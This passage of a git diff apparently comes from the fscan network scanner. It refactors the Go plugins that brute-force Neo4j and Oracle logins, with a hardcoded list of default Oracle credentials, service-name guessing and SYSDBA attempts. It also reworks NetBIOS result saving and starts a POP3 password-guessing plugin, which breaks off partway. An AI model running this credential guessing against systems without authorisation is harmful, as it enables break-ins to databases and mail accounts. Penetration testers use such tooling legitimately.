|
Error: fmt.Errorf("全局超时"),
|
||||||
|
Credential: credential,
|
||||||
|
}
|
||||||
|
default:
|
||||||
|
if retry > 0 {
|
||||||
|
Common.LogDebug(fmt.Sprintf("第%d次重试: %s:%s", retry+1, credential.Username, credential.Password))
|
||||||
|
time.Sleep(500 * time.Millisecond) // 重试前等待
|
||||||
|
}
|
||||||
|
|
||||||
|
// 创建连接结果通道
|
||||||
|
resultChan := make(chan struct {
|
||||||
|
success bool
|
||||||
|
err error
|
||||||
|
}, 1)
|
||||||
|
|
||||||
|
// 在协程中尝试连接
|
||||||
|
connCtx, cancel := context.WithTimeout(ctx, time.Duration(timeoutSeconds)*time.Second)
|
||||||
|
go func() {
|
||||||
|
defer cancel()
|
||||||
|
success, err := Neo4jConn(info, credential.Username, credential.Password)
|
||||||
|
select {
|
||||||
|
case <-connCtx.Done():
|
||||||
|
case resultChan <- struct {
|
||||||
|
success bool
|
||||||
|
err error
|
||||||
|
}{success, err}:
|
||||||
|
}
|
||||||
|
}()
|
||||||
|
|
||||||
|
// 等待结果或超时
|
||||||
|
var success bool
|
||||||
|
var err error
|
||||||
|
|
||||||
|
select {
|
||||||
|
case result := <-resultChan:
|
||||||
|
success = result.success
|
||||||
|
err = result.err
|
||||||
|
case <-connCtx.Done():
|
||||||
|
if ctx.Err() != nil {
|
||||||
|
// 全局超时
|
||||||
|
return &Neo4jScanResult{
|
||||||
|
Success: false,
|
||||||
|
Error: ctx.Err(),
|
||||||
|
Credential: credential,
|
||||||
|
}
|
||||||
|
}
|
||||||
|
// 单个连接超时
|
||||||
|
err = fmt.Errorf("连接超时")
|
||||||
|
}
|
||||||
|
|
||||||
|
if success {
|
||||||
|
return &Neo4jScanResult{
|
||||||
|
Success: true,
|
||||||
|
Credential: credential,
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
lastErr = err
|
||||||
|
if err != nil {
|
||||||
|
// 检查是否需要重试
|
||||||
|
if retryErr := Common.CheckErrs(err); retryErr == nil {
|
||||||
|
break // 不需要重试的错误
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return &Neo4jScanResult{
|
||||||
|
Success: false,
|
||||||
|
Error: lastErr,
|
||||||
|
Credential: credential,
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// Neo4jConn 尝试Neo4j连接
|
||||||
|
func Neo4jConn(info *Common.HostInfo, user string, pass string) (bool, error) {
|
||||||
|
host, port := info.Host, info.Ports
|
||||||
|
timeout := time.Duration(Common.Timeout) * time.Second
|
||||||
|
|
||||||
|
// 构造Neo4j URL
|
||||||
|
uri := fmt.Sprintf("bolt://%s:%s", host, port)
|
||||||
|
|
||||||
|
// 配置驱动选项
|
||||||
|
config := func(c *neo4j.Config) {
|
||||||
|
c.SocketConnectTimeout = timeout
|
||||||
|
c.ConnectionAcquisitionTimeout = timeout
|
||||||
|
|
||||||
|
// 注意:Neo4j驱动可能不支持代理配置
|
||||||
|
// 如果需要代理支持,可能需要使用更底层的连接方式
|
||||||
|
}
|
||||||
|
|
||||||
|
var driver neo4j.Driver
|
||||||
|
var err error
|
||||||
|
|
||||||
|
// 尝试建立连接
|
||||||
|
if user != "" || pass != "" {
|
||||||
|
// 有认证信息时使用认证
|
||||||
|
driver, err = neo4j.NewDriver(uri, neo4j.BasicAuth(user, pass, ""), config)
|
||||||
|
} else {
|
||||||
|
// 无认证时使用NoAuth
|
||||||
|
driver, err = neo4j.NewDriver(uri, neo4j.NoAuth(), config)
|
||||||
|
}
|
||||||
|
|
||||||
|
if err != nil {
|
||||||
|
return false, err
|
||||||
|
}
|
||||||
|
defer driver.Close()
|
||||||
|
|
||||||
|
// 测试连接有效性
|
||||||
|
err = driver.VerifyConnectivity()
|
||||||
|
if err != nil {
|
||||||
|
return false, err
|
||||||
|
}
|
||||||
|
|
||||||
|
// 尝试执行简单查询以确认权限
|
||||||
|
session := driver.NewSession(neo4j.SessionConfig{AccessMode: neo4j.AccessModeRead})
|
||||||
|
defer session.Close()
|
||||||
|
|
||||||
|
_, err = session.Run("MATCH (n) RETURN count(n) LIMIT 1", nil)
|
||||||
|
if err != nil {
|
||||||
|
return false, err
|
||||||
|
}
|
||||||
|
|
||||||
|
return true, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// saveNeo4jResult 保存Neo4j扫描结果
|
||||||
|
func saveNeo4jResult(info *Common.HostInfo, target string, result *Neo4jScanResult) {
|
||||||
|
var successMsg string
|
||||||
|
var details map[string]interface{}
|
||||||
|
|
||||||
|
if result.IsUnauth {
|
||||||
|
// 无认证访问
|
||||||
|
successMsg = fmt.Sprintf("Neo4j服务 %s 无需认证即可访问", target)
|
||||||
|
details = map[string]interface{}{
|
||||||
|
"port": info.Ports,
|
||||||
|
"service": "neo4j",
|
||||||
|
"type": "unauthorized-access",
|
||||||
|
}
|
||||||
|
} else if result.IsDefaultCreds {
|
||||||
|
// 默认凭证
|
||||||
|
successMsg = fmt.Sprintf("Neo4j服务 %s 默认凭证可用 用户名: %s 密码: %s",
|
||||||
|
target, result.Credential.Username, result.Credential.Password)
|
||||||
|
details = map[string]interface{}{
|
||||||
|
"port": info.Ports,
|
||||||
|
"service": "neo4j",
|
||||||
|
"type": "default-credentials",
|
||||||
|
"username": result.Credential.Username,
|
||||||
|
"password": result.Credential.Password,
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
// 弱密码
|
||||||
|
successMsg = fmt.Sprintf("Neo4j服务 %s 爆破成功 用户名: %s 密码: %s",
|
||||||
|
target, result.Credential.Username, result.Credential.Password)
|
||||||
|
details = map[string]interface{}{
|
||||||
|
"port": info.Ports,
|
||||||
|
"service": "neo4j",
|
||||||
|
"type": "weak-password",
|
||||||
|
"username": result.Credential.Username,
|
||||||
|
"password": result.Credential.Password,
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
Common.LogSuccess(successMsg)
|
||||||
|
|
||||||
|
// 保存结果
|
||||||
|
vulnResult := &Common.ScanResult{
|
||||||
|
Time: time.Now(),
|
||||||
|
Type: Common.VULN,
|
||||||
|
Target: info.Host,
|
||||||
|
Status: "vulnerable",
|
||||||
|
Details: details,
|
||||||
|
}
|
||||||
|
Common.SaveResult(vulnResult)
|
||||||
|
}
|
||||||
+43
-2
@@ -18,8 +18,49 @@ func NetBIOS(info *Common.HostInfo) error {
|
|||||||
netbios, _ := NetBIOS1(info)
|
netbios, _ := NetBIOS1(info)
|
||||||
output := netbios.String()
|
output := netbios.String()
|
||||||
if len(output) > 0 {
|
if len(output) > 0 {
|
||||||
result := fmt.Sprintf("[*] NetBios %-15s %s", info.Host, output)
|
result := fmt.Sprintf("NetBios %-15s %s", info.Host, output)
|
||||||
Common.LogSuccess(result)
|
Common.LogSuccess(result)
|
||||||
|
|
||||||
|
// 保存结果
|
||||||
|
details := map[string]interface{}{
|
||||||
|
"port": info.Ports,
|
||||||
|
}
|
||||||
|
|
||||||
|
// 添加有效的 NetBIOS 信息
|
||||||
|
if netbios.ComputerName != "" {
|
||||||
|
details["computer_name"] = netbios.ComputerName
|
||||||
|
}
|
||||||
|
if netbios.DomainName != "" {
|
||||||
|
details["domain_name"] = netbios.DomainName
|
||||||
|
}
|
||||||
|
if netbios.NetDomainName != "" {
|
||||||
|
details["netbios_domain"] = netbios.NetDomainName
|
||||||
|
}
|
||||||
|
if netbios.NetComputerName != "" {
|
||||||
|
details["netbios_computer"] = netbios.NetComputerName
|
||||||
|
}
|
||||||
|
if netbios.WorkstationService != "" {
|
||||||
|
details["workstation_service"] = netbios.WorkstationService
|
||||||
|
}
|
||||||
|
if netbios.ServerService != "" {
|
||||||
|
details["server_service"] = netbios.ServerService
|
||||||
|
}
|
||||||
|
if netbios.DomainControllers != "" {
|
||||||
|
details["domain_controllers"] = netbios.DomainControllers
|
||||||
|
}
|
||||||
|
if netbios.OsVersion != "" {
|
||||||
|
details["os_version"] = netbios.OsVersion
|
||||||
|
}
|
||||||
|
|
||||||
|
scanResult := &Common.ScanResult{
|
||||||
|
Time: time.Now(),
|
||||||
|
Type: Common.SERVICE,
|
||||||
|
Target: info.Host,
|
||||||
|
Status: "identified",
|
||||||
|
Details: details,
|
||||||
|
}
|
||||||
|
|
||||||
|
Common.SaveResult(scanResult)
|
||||||
return nil
|
return nil
|
||||||
}
|
}
|
||||||
return errNetBIOS
|
return errNetBIOS
|
||||||
@@ -229,7 +270,7 @@ func (info *NetBiosInfo) String() (output string) {
|
|||||||
}
|
}
|
||||||
if text == "" {
|
if text == "" {
|
||||||
} else if info.DomainControllers != "" {
|
} else if info.DomainControllers != "" {
|
||||||
output = fmt.Sprintf("[+] DC:%-24s", text)
|
output = fmt.Sprintf("DC:%-24s", text)
|
||||||
} else {
|
} else {
|
||||||
output = fmt.Sprintf("%-30s", text)
|
output = fmt.Sprintf("%-30s", text)
|
||||||
}
|
}
|
||||||
|
|||||||
+391
-35
@@ -1,59 +1,381 @@
|
|||||||
package Plugins
|
package Plugins
|
||||||
|
|
||||||
import (
|
import (
|
||||||
|
"context"
|
||||||
"database/sql"
|
"database/sql"
|
||||||
"fmt"
|
"fmt"
|
||||||
"github.com/shadow1ng/fscan/Common"
|
"github.com/shadow1ng/fscan/Common"
|
||||||
_ "github.com/sijms/go-ora/v2"
|
_ "github.com/sijms/go-ora/v2"
|
||||||
"strings"
|
"strings"
|
||||||
|
"sync"
|
||||||
"time"
|
"time"
|
||||||
)
|
)
|
||||||
|
|
||||||
// OracleScan 执行Oracle服务扫描
|
// OracleCredential 表示一个Oracle凭据
|
||||||
func OracleScan(info *Common.HostInfo) (tmperr error) {
|
type OracleCredential struct {
|
||||||
if Common.IsBrute {
|
Username string
|
||||||
return
|
Password string
|
||||||
|
}
|
||||||
|
|
||||||
|
// OracleScanResult 表示Oracle扫描结果
|
||||||
|
type OracleScanResult struct {
|
||||||
|
Success bool
|
||||||
|
Error error
|
||||||
|
Credential OracleCredential
|
||||||
|
ServiceName string
|
||||||
|
}
|
||||||
|
|
||||||
|
// 常见Oracle服务名列表
|
||||||
|
var commonServiceNames = []string{"XE", "ORCL", "ORCLPDB1", "XEPDB1", "PDBORCL"}
|
||||||
|
|
||||||
|
func OracleScan(info *Common.HostInfo) error {
|
||||||
|
if Common.DisableBrute {
|
||||||
|
return nil
|
||||||
}
|
}
|
||||||
|
|
||||||
starttime := time.Now().Unix()
|
target := fmt.Sprintf("%v:%v", info.Host, info.Ports)
|
||||||
|
Common.LogDebug(fmt.Sprintf("开始扫描 %s", target))
|
||||||
|
|
||||||
// 尝试用户名密码组合
|
// 设置全局超时上下文
|
||||||
|
ctx, cancel := context.WithTimeout(context.Background(), time.Duration(Common.GlobalTimeout)*time.Second)
|
||||||
|
defer cancel()
|
||||||
|
|
||||||
|
// 构建常见高危凭据列表(优先测试)
|
||||||
|
highRiskCredentials := []OracleCredential{
|
||||||
|
{Username: "SYS", Password: "123456"},
|
||||||
|
{Username: "SYSTEM", Password: "123456"},
|
||||||
|
{Username: "SYS", Password: "oracle"},
|
||||||
|
{Username: "SYSTEM", Password: "oracle"},
|
||||||
|
{Username: "SYS", Password: "password"},
|
||||||
|
{Username: "SYSTEM", Password: "password"},
|
||||||
|
{Username: "SYS", Password: "sys123"},
|
||||||
|
{Username: "SYS", Password: "change_on_install"},
|
||||||
|
{Username: "SYSTEM", Password: "manager"},
|
||||||
|
}
|
||||||
|
|
||||||
|
// 先尝试常见高危凭据
|
||||||
|
Common.LogDebug("尝试常见高危凭据...")
|
||||||
|
for _, cred := range highRiskCredentials {
|
||||||
|
result := tryAllServiceNames(ctx, info, cred, Common.Timeout, 1)
|
||||||
|
if result != nil && result.Success {
|
||||||
|
saveOracleResult(info, target, result.Credential, result.ServiceName)
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// 构建完整凭据列表
|
||||||
|
var credentials []OracleCredential
|
||||||
for _, user := range Common.Userdict["oracle"] {
|
for _, user := range Common.Userdict["oracle"] {
|
||||||
for _, pass := range Common.Passwords {
|
for _, pass := range Common.Passwords {
|
||||||
// 替换密码中的用户名占位符
|
actualPass := strings.Replace(pass, "{user}", user, -1)
|
||||||
pass = strings.Replace(pass, "{user}", user, -1)
|
// 转换用户名为大写,提高匹配率
|
||||||
|
credentials = append(credentials, OracleCredential{
|
||||||
|
Username: strings.ToUpper(user),
|
||||||
|
Password: actualPass,
|
||||||
|
})
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
flag, err := OracleConn(info, user, pass)
|
Common.LogDebug(fmt.Sprintf("开始尝试用户名密码组合 (总用户数: %d, 总密码数: %d, 总组合数: %d)",
|
||||||
if flag && err == nil {
|
len(Common.Userdict["oracle"]), len(Common.Passwords), len(credentials)))
|
||||||
return err
|
|
||||||
}
|
|
||||||
|
|
||||||
// 记录错误信息
|
// 使用工作池并发扫描
|
||||||
errlog := fmt.Sprintf("[-] Oracle %v:%v %v %v %v", info.Host, info.Ports, user, pass, err)
|
result := concurrentOracleScan(ctx, info, credentials, Common.Timeout, Common.MaxRetries)
|
||||||
Common.LogError(errlog)
|
if result != nil {
|
||||||
tmperr = err
|
// 记录成功结果
|
||||||
|
saveOracleResult(info, target, result.Credential, result.ServiceName)
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
if Common.CheckErrs(err) {
|
// 检查是否因为全局超时而退出
|
||||||
return err
|
select {
|
||||||
}
|
case <-ctx.Done():
|
||||||
|
Common.LogDebug("Oracle扫描全局超时")
|
||||||
|
return fmt.Errorf("全局超时")
|
||||||
|
default:
|
||||||
|
Common.LogDebug(fmt.Sprintf("扫描完成,共尝试 %d 个组合", len(credentials)+len(highRiskCredentials)))
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
// 超时检查
|
// tryAllServiceNames 尝试所有常见服务名
|
||||||
if time.Now().Unix()-starttime > (int64(len(Common.Userdict["oracle"])*len(Common.Passwords)) * Common.Timeout) {
|
func tryAllServiceNames(ctx context.Context, info *Common.HostInfo, credential OracleCredential, timeoutSeconds int64, maxRetries int) *OracleScanResult {
|
||||||
return err
|
for _, serviceName := range commonServiceNames {
|
||||||
|
result := tryOracleCredential(ctx, info, credential, serviceName, timeoutSeconds, maxRetries)
|
||||||
|
if result.Success {
|
||||||
|
result.ServiceName = serviceName
|
||||||
|
return result
|
||||||
|
}
|
||||||
|
|
||||||
|
// 对SYS用户尝试SYSDBA模式
|
||||||
|
if strings.ToUpper(credential.Username) == "SYS" {
|
||||||
|
result = tryOracleSysCredential(ctx, info, credential, serviceName, timeoutSeconds, maxRetries)
|
||||||
|
if result.Success {
|
||||||
|
result.ServiceName = serviceName
|
||||||
|
return result
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
return tmperr
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// concurrentOracleScan 并发扫描Oracle服务
|
||||||
|
func concurrentOracleScan(ctx context.Context, info *Common.HostInfo, credentials []OracleCredential, timeoutSeconds int64, maxRetries int) *OracleScanResult {
|
||||||
|
// 使用ModuleThreadNum控制并发数
|
||||||
|
maxConcurrent := Common.ModuleThreadNum
|
||||||
|
if maxConcurrent <= 0 {
|
||||||
|
maxConcurrent = 10 // 默认值
|
||||||
|
}
|
||||||
|
if maxConcurrent > len(credentials) {
|
||||||
|
maxConcurrent = len(credentials)
|
||||||
|
}
|
||||||
|
|
||||||
|
// 创建工作池
|
||||||
|
var wg sync.WaitGroup
|
||||||
|
resultChan := make(chan *OracleScanResult, 1)
|
||||||
|
workChan := make(chan OracleCredential, maxConcurrent)
|
||||||
|
scanCtx, scanCancel := context.WithCancel(ctx)
|
||||||
|
defer scanCancel()
|
||||||
|
|
||||||
|
// 启动工作协程
|
||||||
|
for i := 0; i < maxConcurrent; i++ {
|
||||||
|
wg.Add(1)
|
||||||
|
go func() {
|
||||||
|
defer wg.Done()
|
||||||
|
for credential := range workChan {
|
||||||
|
select {
|
||||||
|
case <-scanCtx.Done():
|
||||||
|
return
|
||||||
|
default:
|
||||||
|
// 尝试所有常见服务名
|
||||||
|
result := tryAllServiceNames(scanCtx, info, credential, timeoutSeconds, maxRetries)
|
||||||
|
if result != nil && result.Success {
|
||||||
|
select {
|
||||||
|
case resultChan <- result:
|
||||||
|
scanCancel() // 找到有效凭据,取消其他工作
|
||||||
|
default:
|
||||||
|
}
|
||||||
|
return
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}()
|
||||||
|
}
|
||||||
|
|
||||||
|
// 发送工作
|
||||||
|
go func() {
|
||||||
|
for i, cred := range credentials {
|
||||||
|
select {
|
||||||
|
case <-scanCtx.Done():
|
||||||
|
break
|
||||||
|
default:
|
||||||
|
Common.LogDebug(fmt.Sprintf("[%d/%d] 尝试: %s:%s", i+1, len(credentials), cred.Username, cred.Password))
|
||||||
|
workChan <- cred
|
||||||
|
}
|
||||||
|
}
|
||||||
|
close(workChan)
|
||||||
|
}()
|
||||||
|
|
||||||
|
// 等待结果或完成
|
||||||
|
go func() {
|
||||||
|
wg.Wait()
|
||||||
|
close(resultChan)
|
||||||
|
}()
|
||||||
|
|
||||||
|
// 获取结果,考虑全局超时
|
||||||
|
select {
|
||||||
|
case result, ok := <-resultChan:
|
||||||
|
if ok && result != nil && result.Success {
|
||||||
|
return result
|
||||||
|
}
|
||||||
|
return nil
|
||||||
|
case <-ctx.Done():
|
||||||
|
Common.LogDebug("Oracle并发扫描全局超时")
|
||||||
|
scanCancel() // 确保取消所有未完成工作
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// tryOracleCredential 尝试单个Oracle凭据
|
||||||
|
func tryOracleCredential(ctx context.Context, info *Common.HostInfo, credential OracleCredential, serviceName string, timeoutSeconds int64, maxRetries int) *OracleScanResult {
|
||||||
|
var lastErr error
|
||||||
|
|
||||||
|
for retry := 0; retry < maxRetries; retry++ {
|
||||||
|
select {
|
||||||
|
case <-ctx.Done():
|
||||||
|
return &OracleScanResult{
|
||||||
|
Success: false,
|
||||||
|
Error: fmt.Errorf("全局超时"),
|
||||||
|
Credential: credential,
|
||||||
|
}
|
||||||
|
default:
|
||||||
|
if retry > 0 {
|
||||||
|
Common.LogDebug(fmt.Sprintf("第%d次重试: %s:%s@%s", retry+1, credential.Username, credential.Password, serviceName))
|
||||||
|
time.Sleep(500 * time.Millisecond) // 重试前等待
|
||||||
|
}
|
||||||
|
|
||||||
|
// 创建连接超时上下文
|
||||||
|
connCtx, cancel := context.WithTimeout(ctx, time.Duration(timeoutSeconds)*time.Second)
|
||||||
|
|
||||||
|
// 在协程中执行数据库连接
|
||||||
|
resultChan := make(chan struct {
|
||||||
|
success bool
|
||||||
|
err error
|
||||||
|
}, 1)
|
||||||
|
|
||||||
|
go func() {
|
||||||
|
success, err := OracleConn(connCtx, info, credential.Username, credential.Password, serviceName, false)
|
||||||
|
select {
|
||||||
|
case <-connCtx.Done():
|
||||||
|
// 已超时或取消,不发送结果
|
||||||
|
case resultChan <- struct {
|
||||||
|
success bool
|
||||||
|
err error
|
||||||
|
}{success, err}:
|
||||||
|
}
|
||||||
|
}()
|
||||||
|
|
||||||
|
// 等待结果或连接超时
|
||||||
|
var success bool
|
||||||
|
var err error
|
||||||
|
|
||||||
|
select {
|
||||||
|
case result := <-resultChan:
|
||||||
|
success = result.success
|
||||||
|
err = result.err
|
||||||
|
case <-connCtx.Done():
|
||||||
|
err = connCtx.Err()
|
||||||
|
}
|
||||||
|
|
||||||
|
// 取消连接超时上下文
|
||||||
|
cancel()
|
||||||
|
|
||||||
|
if success {
|
||||||
|
return &OracleScanResult{
|
||||||
|
Success: true,
|
||||||
|
Credential: credential,
|
||||||
|
ServiceName: serviceName,
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
lastErr = err
|
||||||
|
if err != nil {
|
||||||
|
// 如果是认证错误,不需要重试
|
||||||
|
if strings.Contains(err.Error(), "ORA-01017") {
|
||||||
|
break // 认证失败
|
||||||
|
}
|
||||||
|
|
||||||
|
// 检查是否需要重试
|
||||||
|
if retryErr := Common.CheckErrs(err); retryErr == nil {
|
||||||
|
break // 不需要重试的错误
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return &OracleScanResult{
|
||||||
|
Success: false,
|
||||||
|
Error: lastErr,
|
||||||
|
Credential: credential,
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// tryOracleSysCredential 尝试SYS用户SYSDBA模式连接
|
||||||
|
func tryOracleSysCredential(ctx context.Context, info *Common.HostInfo, credential OracleCredential, serviceName string, timeoutSeconds int64, maxRetries int) *OracleScanResult {
|
||||||
|
var lastErr error
|
||||||
|
|
||||||
|
for retry := 0; retry < maxRetries; retry++ {
|
||||||
|
select {
|
||||||
|
case <-ctx.Done():
|
||||||
|
return &OracleScanResult{
|
||||||
|
Success: false,
|
||||||
|
Error: fmt.Errorf("全局超时"),
|
||||||
|
Credential: credential,
|
||||||
|
}
|
||||||
|
default:
|
||||||
|
if retry > 0 {
|
||||||
|
Common.LogDebug(fmt.Sprintf("第%d次重试SYS用户SYSDBA模式: %s:%s@%s", retry+1, credential.Username, credential.Password, serviceName))
|
||||||
|
time.Sleep(500 * time.Millisecond) // 重试前等待
|
||||||
|
}
|
||||||
|
|
||||||
|
// 创建连接超时上下文
|
||||||
|
connCtx, cancel := context.WithTimeout(ctx, time.Duration(timeoutSeconds)*time.Second)
|
||||||
|
|
||||||
|
// 在协程中执行数据库连接
|
||||||
|
resultChan := make(chan struct {
|
||||||
|
success bool
|
||||||
|
err error
|
||||||
|
}, 1)
|
||||||
|
|
||||||
|
go func() {
|
||||||
|
success, err := OracleConn(connCtx, info, credential.Username, credential.Password, serviceName, true)
|
||||||
|
select {
|
||||||
|
case <-connCtx.Done():
|
||||||
|
// 已超时或取消,不发送结果
|
||||||
|
case resultChan <- struct {
|
||||||
|
success bool
|
||||||
|
err error
|
||||||
|
}{success, err}:
|
||||||
|
}
|
||||||
|
}()
|
||||||
|
|
||||||
|
// 等待结果或连接超时
|
||||||
|
var success bool
|
||||||
|
var err error
|
||||||
|
|
||||||
|
select {
|
||||||
|
case result := <-resultChan:
|
||||||
|
success = result.success
|
||||||
|
err = result.err
|
||||||
|
case <-connCtx.Done():
|
||||||
|
err = connCtx.Err()
|
||||||
|
}
|
||||||
|
|
||||||
|
// 取消连接超时上下文
|
||||||
|
cancel()
|
||||||
|
|
||||||
|
if success {
|
||||||
|
return &OracleScanResult{
|
||||||
|
Success: true,
|
||||||
|
Credential: credential,
|
||||||
|
ServiceName: serviceName,
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
lastErr = err
|
||||||
|
if err != nil {
|
||||||
|
// 如果是认证错误,不需要重试
|
||||||
|
if strings.Contains(err.Error(), "ORA-01017") {
|
||||||
|
break // 认证失败
|
||||||
|
}
|
||||||
|
|
||||||
|
// 检查是否需要重试
|
||||||
|
if retryErr := Common.CheckErrs(err); retryErr == nil {
|
||||||
|
break // 不需要重试的错误
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return &OracleScanResult{
|
||||||
|
Success: false,
|
||||||
|
Error: lastErr,
|
||||||
|
Credential: credential,
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
// OracleConn 尝试Oracle连接
|
// OracleConn 尝试Oracle连接
|
||||||
func OracleConn(info *Common.HostInfo, user string, pass string) (bool, error) {
|
func OracleConn(ctx context.Context, info *Common.HostInfo, user string, pass string, serviceName string, asSysdba bool) (bool, error) {
|
||||||
host, port, username, password := info.Host, info.Ports, user, pass
|
host, port := info.Host, info.Ports
|
||||||
timeout := time.Duration(Common.Timeout) * time.Second
|
|
||||||
|
|
||||||
// 构造连接字符串
|
// 构造连接字符串,添加更多参数
|
||||||
connStr := fmt.Sprintf("oracle://%s:%s@%s:%s/orcl",
|
connStr := fmt.Sprintf("oracle://%s:%s@%s:%s/%s?connect_timeout=%d",
|
||||||
username, password, host, port)
|
user, pass, host, port, serviceName, Common.Timeout)
|
||||||
|
|
||||||
|
// 对SYS用户使用SYSDBA权限
|
||||||
|
if asSysdba {
|
||||||
|
connStr += "&sysdba=1"
|
||||||
|
}
|
||||||
|
|
||||||
// 建立数据库连接
|
// 建立数据库连接
|
||||||
db, err := sql.Open("oracle", connStr)
|
db, err := sql.Open("oracle", connStr)
|
||||||
@@ -63,17 +385,51 @@ func OracleConn(info *Common.HostInfo, user string, pass string) (bool, error) {
|
|||||||
defer db.Close()
|
defer db.Close()
|
||||||
|
|
||||||
// 设置连接参数
|
// 设置连接参数
|
||||||
db.SetConnMaxLifetime(timeout)
|
db.SetConnMaxLifetime(time.Duration(Common.Timeout) * time.Second)
|
||||||
db.SetConnMaxIdleTime(timeout)
|
db.SetConnMaxIdleTime(time.Duration(Common.Timeout) * time.Second)
|
||||||
db.SetMaxIdleConns(0)
|
db.SetMaxIdleConns(0)
|
||||||
|
db.SetMaxOpenConns(1)
|
||||||
|
|
||||||
|
// 使用上下文测试连接
|
||||||
|
pingCtx, cancel := context.WithTimeout(ctx, time.Duration(Common.Timeout)*time.Second)
|
||||||
|
defer cancel()
|
||||||
|
|
||||||
// 测试连接
|
// 测试连接
|
||||||
if err = db.Ping(); err != nil {
|
err = db.PingContext(pingCtx)
|
||||||
|
if err != nil {
|
||||||
return false, err
|
return false, err
|
||||||
}
|
}
|
||||||
|
|
||||||
// 连接成功
|
// 不需要额外的查询验证,连接成功即可
|
||||||
result := fmt.Sprintf("[+] Oracle %v:%v:%v %v", host, port, username, password)
|
|
||||||
Common.LogSuccess(result)
|
|
||||||
return true, nil
|
return true, nil
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// saveOracleResult 保存Oracle扫描结果
|
||||||
|
func saveOracleResult(info *Common.HostInfo, target string, credential OracleCredential, serviceName string) {
|
||||||
|
var successMsg string
|
||||||
|
if strings.ToUpper(credential.Username) == "SYS" {
|
||||||
|
successMsg = fmt.Sprintf("Oracle %s 成功爆破 用户名: %v 密码: %v 服务名: %s (可能需要SYSDBA权限)",
|
||||||
|
target, credential.Username, credential.Password, serviceName)
|
||||||
|
} else {
|
||||||
|
successMsg = fmt.Sprintf("Oracle %s 成功爆破 用户名: %v 密码: %v 服务名: %s",
|
||||||
|
target, credential.Username, credential.Password, serviceName)
|
||||||
|
}
|
||||||
|
Common.LogSuccess(successMsg)
|
||||||
|
|
||||||
|
// 保存结果
|
||||||
|
vulnResult := &Common.ScanResult{
|
||||||
|
Time: time.Now(),
|
||||||
|
Type: Common.VULN,
|
||||||
|
Target: info.Host,
|
||||||
|
Status: "vulnerable",
|
||||||
|
Details: map[string]interface{}{
|
||||||
|
"port": info.Ports,
|
||||||
|
"service": "oracle",
|
||||||
|
"username": credential.Username,
|
||||||
|
"password": credential.Password,
|
||||||
|
"service_name": serviceName,
|
||||||
|
"type": "weak-password",
|
||||||
|
},
|
||||||
|
}
|
||||||
|
Common.SaveResult(vulnResult)
|
||||||
|
}
|
||||||
|
|||||||
+413
@@ -0,0 +1,413 @@
|
|||||||
|
package Plugins
|
||||||
|
|
||||||
|
import (
|
||||||
|
"bufio"
|
||||||
|
"context"
|
||||||
|
"crypto/tls"
|
||||||
|
"fmt"
|
||||||
|
"net"
|
||||||
|
"strings"
|
||||||
|
"sync"
|
||||||
|
"time"
|
||||||
|
|
||||||
|
"github.com/shadow1ng/fscan/Common"
|
||||||
|
)
|
||||||
|
|
||||||
|
// POP3Credential 表示一个POP3凭据
|
||||||
|
type POP3Credential struct {
|
||||||
|
Username string
|
||||||
|
Password string
|
||||||
|
}
|
||||||
|
|
||||||
|
// POP3ScanResult 表示POP3扫描结果
|
||||||
|
type POP3ScanResult struct {
|
||||||
|
Success bool
|
||||||
|
Error error
|
||||||
|
Credential POP3Credential
|
||||||
|
IsTLS bool
|
||||||
|
}
|
||||||
|
|
||||||
|
func POP3Scan(info *Common.HostInfo) error {
|
||||||
|
if Common.DisableBrute {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
target := fmt.Sprintf("%v:%v", info.Host, info.Ports)
|
||||||
|
Common.LogDebug(fmt.Sprintf("开始扫描 %s", target))
|
||||||
|
|
||||||
|
// 设置全局超时上下文
|
||||||
|
ctx, cancel := context.WithTimeout(context.Background(), time.Duration(Common.GlobalTimeout)*time.Second)
|
||||||
|
defer cancel()
|
||||||
|
|
||||||
|
// 构建凭据列表
|
||||||
|
var credentials []POP3Credential
|
||||||
|
for _, user := range Common.Userdict["pop3"] {
|
||||||
|
for _, pass := range Common.Passwords {
|
||||||
|
actualPass := strings.Replace(pass, "{user}", user, -1)
|
||||||
|
credentials = append(credentials, POP3Credential{
|
||||||
|
Username: user,
|
||||||
|
Password: actualPass,
|
||||||
|
})
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
Common.LogDebug(fmt.Sprintf("开始尝试用户名密码组合 (总用户数: %d, 总密码数: %d, 总组合数: %d)",
|
||||||
|
len(Common.Userdict["pop3"]), len(Common.Passwords), len(credentials)))
|
||||||
|
|
||||||
|
// 使用工作池并发扫描,但需要限制速率
|
||||||
|
result := concurrentPOP3Scan(ctx, info, credentials, Common.Timeout, Common.MaxRetries)
|
||||||
|
if result != nil {
|
||||||
|
// 记录成功结果
|
||||||
|
savePOP3Result(info, target, result)
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// 检查是否因为全局超时而退出
|
||||||
|
select {
|
||||||
|
case <-ctx.Done():
|
||||||
|
Common.LogDebug("POP3扫描全局超时")
|
